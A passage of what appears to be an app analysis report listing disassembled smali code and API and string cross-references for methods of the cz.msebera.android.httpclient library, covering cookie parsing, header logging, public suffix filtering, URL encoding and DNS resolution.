        86cond_62: new-instance p2, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        87new-instance v0, Ljava/lang/StringBuilder;
        89invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        91const-string v1, "Unrecognized cookie header \'"
        93invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        95invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        96move-result-object p1
        98invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        100const-string p1, "\'"
        102invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        104invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        105move-result-object p1
        107invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        108throw p2
        Cross References
        APIs
        • java.util.Map.get
        • java.lang.Object.getClass
        • java.lang.Class.getClassLoader
        • java.lang.String.equalsIgnoreCase
        • java.lang.Integer.valueOf
        • java.lang.String.format
        • java.lang.Integer.valueOf
        • java.lang.String.format
        • java.util.Map.put
        Strings
        • cz.msebera.android.httpclient.client
        • UNAVAILABLE
        • http
        • %d.%d localhost (Apache-HttpClient/%s (cache))
        • %s/%d.%d localhost (Apache-HttpClient/%s (cache))
        Position Instruction Meta Information
        1invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpMessage;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        2move-result-object p1
        4iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/cache/CachingExec;->viaHeaders:Ljava/util/Map;
        6invoke-interface {v0, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        7move-result-object v0
        8check-cast v0, Ljava/lang/String;
        9if-eqz v0, :cond_f
        10return-object v0
        11cond_f:
        12const-string v0, "cz.msebera.android.httpclient.client"
        14invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        15move-result-object v1
        17invoke-virtual {v1}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
        18move-result-object v1
        20invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/VersionInfo;->loadVersionInfo(Ljava/lang/String;Ljava/lang/ClassLoader;)Lcz/msebera/android/httpclient/util/VersionInfo;
        21move-result-object v0
        22if-eqz v0, :cond_24
        24invoke-virtual {v0}, Lcz/msebera/android/httpclient/util/VersionInfo;->getRelease()Ljava/lang/String;
        25move-result-object v0
        26goto/16 :goto_26
        27cond_24:
        28const-string v0, "UNAVAILABLE"
        29goto_26:
        30const-string v1, "http"
        32invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getProtocol()Ljava/lang/String;
        33move-result-object v2
        35invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        36move-result v1
        37const/4 v2, 0x2
        38const/4 v3, 0x1
        39const/4 v4, 0x0
        40const/4 v5, 0x3
        41if-eqz v1, :cond_55
        43const-string v1, "%d.%d localhost (Apache-HttpClient/%s (cache))"
        44new-array v5, v5, [Ljava/lang/Object;
        46invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMajor()I
        47move-result v6
        49invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        50move-result-object v6
        51aput-object v6, v5, v4
        53invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMinor()I
        54move-result v4
        56invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        57move-result-object v4
        58aput-object v4, v5, v3
        59aput-object v0, v5, v2
        61invoke-static {v1, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        62move-result-object v0
        63goto/16 :goto_7a
        64cond_55:
        65const-string v1, "%s/%d.%d localhost (Apache-HttpClient/%s (cache))"
        66const/4 v6, 0x4
        67new-array v6, v6, [Ljava/lang/Object;
        69invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getProtocol()Ljava/lang/String;
        70move-result-object v7
        71aput-object v7, v6, v4
        73invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMajor()I
        74move-result v4
        76invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        77move-result-object v4
        78aput-object v4, v6, v3
        80invoke-virtual {p1}, Lcz/msebera/android/httpclient/ProtocolVersion;->getMinor()I
        81move-result v3
        83invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        84move-result-object v3
        85aput-object v3, v6, v2
        86aput-object v0, v6, v5
        88invoke-static {v1, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        89move-result-object v0
        90goto_7a:
        91iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CachingExec;->viaHeaders:Ljava/util/Map;
        93invoke-interface {v1, p1, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        94return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Receiving response:
        • <<
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7invoke-super {p0}, Lcz/msebera/android/httpclient/impl/SocketHttpClientConnection;->receiveResponseHeader()Lcz/msebera/android/httpclient/HttpResponse;
        8move-result-object v0
        10iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        12invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        13move-result v1
        14if-eqz v1, :cond_26
        16iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        17new-instance v2, Ljava/lang/StringBuilder;
        19invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        21const-string v3, "Receiving response: "
        23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        26move-result-object v3
        28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        30invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        31move-result-object v2
        33invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        34cond_26:
        35iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        37invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        38move-result v1
        39if-eqz v1, :cond_73
        41iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        42new-instance v2, Ljava/lang/StringBuilder;
        44invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        46const-string v3, "<< "
        48invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        51move-result-object v3
        53invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
        54move-result-object v3
        56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        59move-result-object v2
        61invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        63invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        64move-result-object v1
        65array-length v2, v1
        66const/4 v3, 0x0
        67goto_52: if-ge v3, v2, :cond_73
        68aget-object v4, v1, v3
        70iget-object v5, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        71new-instance v6, Ljava/lang/StringBuilder;
        73invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
        75const-string v7, "<< "
        77invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79invoke-virtual {v4}, Ljava/lang/Object;->toString()Ljava/lang/String;
        80move-result-object v4
        82invoke-virtual {v6, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        84invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        85move-result-object v4
        87invoke-virtual {v5, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        88add-int/lit8 v3, v3, 0x1
        89goto/16 :goto_52
        90cond_73: return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Sending request:
        • >>
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        10move-result v0
        11if-eqz v0, :cond_22
        13iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        14new-instance v1, Ljava/lang/StringBuilder;
        16invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        18const-string v2, "Sending request: "
        20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        23move-result-object v2
        25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        27invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        28move-result-object v1
        30invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        31cond_22:
        32invoke-super {p0, p1}, Lcz/msebera/android/httpclient/impl/SocketHttpClientConnection;->sendRequestHeader(Lcz/msebera/android/httpclient/HttpRequest;)V
        34iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        36invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        37move-result v0
        38if-eqz v0, :cond_72
        40iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        41new-instance v1, Ljava/lang/StringBuilder;
        43invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        45const-string v2, ">> "
        47invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        50move-result-object v2
        52invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        53move-result-object v2
        55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        58move-result-object v1
        60invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        62invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        63move-result-object p1
        64array-length v0, p1
        65const/4 v1, 0x0
        66goto_51: if-ge v1, v0, :cond_72
        67aget-object v2, p1, v1
        69iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultClientConnection;->headerLog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        70new-instance v4, Ljava/lang/StringBuilder;
        72invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        74const-string v5, ">> "
        76invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        79move-result-object v2
        81invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        83invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        84move-result-object v2
        86invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        87add-int/lit8 v1, v1, 0x1
        88goto/16 :goto_51
        89cond_72: return-void
        Cross References
        APIs
        • java.lang.String.startsWith
        • java.lang.String.substring
        • java.util.Set.contains
        • java.lang.String.startsWith
        • java.lang.String.substring
        • java.lang.String.indexOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.substring
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.length
        Strings
        • .
        • *.
        • *
        Position Instruction Meta Information
        1invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        2move-result-object p1
        4const-string v0, "."
        6invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        7move-result v0
        8const/4 v1, 0x1
        9if-eqz v0, :cond_11
        11invoke-virtual {p1, v1}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        12move-result-object p1
        13cond_11:
        14invoke-static {p1}, Lcz/msebera/android/httpclient/client/utils/Punycode;->toUnicode(Ljava/lang/String;)Ljava/lang/String;
        15move-result-object p1
        17iget-object v0, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->exceptions:Ljava/util/Set;
        18const/4 v2, 0x0
        19if-eqz v0, :cond_23
        21iget-object v0, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->exceptions:Ljava/util/Set;
        23invoke-interface {v0, p1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        24move-result v0
        25if-eqz v0, :cond_23
        26return v2
        27cond_23:
        28iget-object v0, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->suffixes:Ljava/util/Set;
        29if-nez v0, :cond_28
        30return v2
        31cond_28:
        32iget-object v0, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->suffixes:Ljava/util/Set;
        34invoke-interface {v0, p1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        35move-result v0
        36if-eqz v0, :cond_31
        37return v1
        38cond_31:
        39const-string v0, "*."
        41invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        42move-result v0
        43if-eqz v0, :cond_3e
        44const/4 v0, 0x2
        46invoke-virtual {p1, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        47move-result-object p1
        48cond_3e: const/16 v0, 0x2e
        50invoke-virtual {p1, v0}, Ljava/lang/String;->indexOf(I)I
        51move-result v0
        52const/4 v3, -0x1
        53if-ne v0, v3, :cond_48
        54goto/16 :goto_63
        55cond_48: new-instance v3, Ljava/lang/StringBuilder;
        57invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        59const-string v4, "*"
        61invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {p1, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        64move-result-object p1
        66invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        69move-result-object p1
        71invoke-virtual {p1}, Ljava/lang/String;->length()I
        72move-result v0
        73if-gtz v0, :cond_28
        74goto_63: return v2
        Cross References
        APIs
        • java.lang.Thread.currentThread
        • java.util.concurrent.locks.Condition.awaitUntil
        • java.util.concurrent.locks.Condition.await
        • java.lang.InterruptedException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Thread.currentThread
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        Strings
        • Operation interrupted
        • A thread is already waiting on this object.\ncaller:
        • \nwaiter:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/InterruptedException;
        3}
        4.end annotation
        6iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->waiter:Ljava/lang/Thread;
        7if-nez v0, :cond_3a
        8iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->aborted:Z
        9if-nez v0, :cond_32
        11invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        12move-result-object v0
        13iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->waiter:Ljava/lang/Thread;
        14const/4 v0, 0x0
        15if-eqz p1, :cond_1a
        16try_start_11:
        17iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->cond:Ljava/util/concurrent/locks/Condition;
        19invoke-interface {v1, p1}, Ljava/util/concurrent/locks/Condition;->awaitUntil(Ljava/util/Date;)Z
        20move-result p1
        21goto/16 :goto_20
        22catchall_18: move-exception p1
        23goto/16 :goto_2f
        24cond_1a:
        25iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->cond:Ljava/util/concurrent/locks/Condition;
        27invoke-interface {p1}, Ljava/util/concurrent/locks/Condition;->await()V
        28const/4 p1, 0x1
        29goto_20: iget-boolean v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->aborted:Z
        30try_end_22: if-nez v1, :cond_27
        31iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->waiter:Ljava/lang/Thread;
        32return p1
        33cond_27: new-instance p1, Ljava/lang/InterruptedException;
        35const-string v1, "Operation interrupted"
        37invoke-direct {p1, v1}, Ljava/lang/InterruptedException;-><init>(Ljava/lang/String;)V
        38throw p1
        39goto_2f: iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->waiter:Ljava/lang/Thread;
        40throw p1
        41cond_32: new-instance p1, Ljava/lang/InterruptedException;
        43const-string v0, "Operation interrupted"
        45invoke-direct {p1, v0}, Ljava/lang/InterruptedException;-><init>(Ljava/lang/String;)V
        46throw p1
        47cond_3a: new-instance p1, Ljava/lang/IllegalStateException;
        48new-instance v0, Ljava/lang/StringBuilder;
        50invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        52const-string v1, "A thread is already waiting on this object.\ncaller: "
        54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        57move-result-object v1
        59invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        61const-string v1, "\nwaiter: "
        63invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/WaitingThread;->waiter:Ljava/lang/Thread;
        67invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        69invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        70move-result-object v0
        72invoke-direct {p1, v0}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        73throw p1
        APIs
        • java.util.ArrayList.<init>
        • java.io.BufferedReader.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.toString
        • java.lang.String.length
        • java.lang.String.startsWith
        • java.lang.String.substring
        • java.lang.String.startsWith
        • java.lang.String.substring
        • java.util.Collection.add
        Strings
        • //
        • .
        • !
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5new-instance v0, Ljava/util/ArrayList;
        7invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
        8new-instance v1, Ljava/util/ArrayList;
        10invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
        11new-instance v2, Ljava/io/BufferedReader;
        13invoke-direct {v2, p1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
        14new-instance p1, Ljava/lang/StringBuilder;
        15const/16 v3, 0x100
        17invoke-direct {p1, v3}, Ljava/lang/StringBuilder;-><init>(I)V
        18const/4 v3, 0x1
        19const/4 v4, 0x1
        20goto_18: if-eqz v4, :cond_54
        22invoke-direct {p0, v2, p1}, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixListParser;->readLine(Ljava/io/Reader;Ljava/lang/StringBuilder;)Z
        23move-result v4
        25invoke-virtual {p1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        26move-result-object v5
        28invoke-virtual {v5}, Ljava/lang/String;->length()I
        29move-result v6
        30if-nez v6, :cond_29
        31goto/16 :goto_18
        32cond_29:
        33const-string v6, "//"
        35invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        36move-result v6
        37if-eqz v6, :cond_32
        38goto/16 :goto_18
        39cond_32:
        40const-string v6, "."
        42invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        43move-result v6
        44if-eqz v6, :cond_3e
        46invoke-virtual {v5, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        47move-result-object v5
        48cond_3e:
        49const-string v6, "!"
        51invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        52move-result v6
        53if-eqz v6, :cond_4a
        55invoke-virtual {v5, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
        56move-result-object v5
        57cond_4a: if-eqz v6, :cond_50
        59invoke-interface {v1, v5}, Ljava/util/Collection;->add(Ljava/lang/Object;)Z
        60goto/16 :goto_18
        61cond_50:
        62invoke-interface {v0, v5}, Ljava/util/Collection;->add(Ljava/lang/Object;)Z
        63goto/16 :goto_18
        64cond_54:
        65iget-object p1, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixListParser;->filter:Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;
        67invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->setPublicSuffixes(Ljava/util/Collection;)V
        69iget-object p1, p0, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixListParser;->filter:Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;
        71invoke-virtual {p1, v1}, Lcz/msebera/android/httpclient/impl/cookie/PublicSuffixFilter;->setExceptions(Ljava/util/Collection;)V
        72return-void
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.nio.charset.Charset.encode
        • java.nio.ByteBuffer.hasRemaining
        • java.nio.ByteBuffer.get
        • java.util.BitSet.get
        • java.lang.StringBuilder.append
        • java.lang.Character.forDigit
        • java.lang.Character.toUpperCase
        • java.lang.Character.forDigit
        • java.lang.Character.toUpperCase
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • %
        Position Instruction Meta Information
        0if-nez p0, :cond_4
        1const/4 p0, 0x0
        2return-object p0
        3cond_4: new-instance v0, Ljava/lang/StringBuilder;
        5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        7invoke-virtual {p1, p0}, Ljava/nio/charset/Charset;->encode(Ljava/lang/String;)Ljava/nio/ByteBuffer;
        8move-result-object p0
        9goto_d:
        10invoke-virtual {p0}, Ljava/nio/ByteBuffer;->hasRemaining()Z
        11move-result p1
        12if-eqz p1, :cond_54
        14invoke-virtual {p0}, Ljava/nio/ByteBuffer;->get()B
        15move-result p1
        16and-int/lit16 p1, p1, 0xff
        18invoke-virtual {p2, p1}, Ljava/util/BitSet;->get(I)Z
        19move-result v1
        20if-eqz v1, :cond_24
        21int-to-char p1, p1
        23invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        24goto/16 :goto_d
        25cond_24: if-eqz p3, :cond_30
        26const/16 v1, 0x20
        27if-ne p1, v1, :cond_30
        28const/16 p1, 0x2b
        30invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        31goto/16 :goto_d
        32cond_30:
        33const-string v1, "%"
        35invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36shr-int/lit8 v1, p1, 0x4
        37and-int/lit8 v1, v1, 0xf
        38const/16 v2, 0x10
        40invoke-static {v1, v2}, Ljava/lang/Character;->forDigit(II)C
        41move-result v1
        43invoke-static {v1}, Ljava/lang/Character;->toUpperCase(C)C
        44move-result v1
        45and-int/lit8 p1, p1, 0xf
        47invoke-static {p1, v2}, Ljava/lang/Character;->forDigit(II)C
        48move-result p1
        50invoke-static {p1}, Ljava/lang/Character;->toUpperCase(C)C
        51move-result p1
        53invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        55invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        56goto/16 :goto_d
        57cond_54:
        58invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        59move-result-object p0
        60return-object p0
        APIs
        • java.util.Map.get
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Arrays.deepToString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.UnknownHostException.<init>
        Strings
        • Resolving
        • to
        • cannot be resolved
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/net/UnknownHostException;
        3}
        4.end annotation
        6iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/InMemoryDnsResolver;->dnsMap:Ljava/util/Map;
        8invoke-interface {v0, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        9move-result-object v0
        10check-cast v0, [Ljava/net/InetAddress;
        12iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/InMemoryDnsResolver;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        14invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isInfoEnabled()Z
        15move-result v1
        16if-eqz v1, :cond_32
        18iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/InMemoryDnsResolver;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        19new-instance v2, Ljava/lang/StringBuilder;
        21invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        23const-string v3, "Resolving "
        25invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29const-string v3, " to "
        31invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-static {v0}, Ljava/util/Arrays;->deepToString([Ljava/lang/Object;)Ljava/lang/String;
        34move-result-object v3
